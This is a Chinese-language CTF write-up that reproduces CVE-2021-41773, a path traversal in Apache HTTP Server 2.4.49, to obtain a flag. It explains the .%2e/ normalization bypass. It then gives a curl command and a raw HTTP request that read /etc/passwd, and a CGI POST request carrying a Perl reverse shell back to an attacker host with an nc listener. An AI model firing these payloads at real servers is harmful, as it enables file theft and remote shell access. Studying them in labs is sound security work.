CVE-2021-41773目录穿越漏洞复现并利用得到flag

前提概要
首先!遇到一道题目,根据题意可知:这道题目存在CVE-2021-41773漏洞。

先来了解一下CVE-2021-41773的漏洞原理:

漏洞原理

CVE-2021-41773 是一个影响 Apache HTTP Server (httpd) 的安全漏洞,影响版本为 2.4.49 版本。它是一个路径遍历漏洞,如果文档根目录以外的文件不受 require all denied 保护,则攻击者可以访问这些文件。

Apache Http Server 路径穿越漏洞原理

在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 的路径穿越符。

当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。

如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/ 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。因此,攻击者可以使用 .%2e/ 或 %2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。

一:漏洞验证
访问地址是一个登录页面,什么都没有。扫描一下目录,未发现什么目录。

 2;因为没有目录可访问,所以使用如下CURL命令来发送Payload的方式是不行。

curl -v --path-as-is http://8.147.132.32:18505/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
3;使用bp抓包复现:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Content-Length: 0

给我的返回的是400,不可行,应该是做了限制,另辟蹊径。

4;使用burpsuite,获取反弹shell
bash命令无法执行,要使用perl,注意要使用POST,网址也要改为下面的地址:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1

Host: 8.147.132.32:18505
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Content-Length: 229
Origin: moz-extension://79db308e-879e-471a-9c1f-6fb0f2d90f48
Sec-GPC: 1
Connection: close

echo;perl -e 'use Socket;$i="xxxx";$p=xxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

5;服务器开启监听。
nc -lvvp xxx。

6;监听成功。得到flag.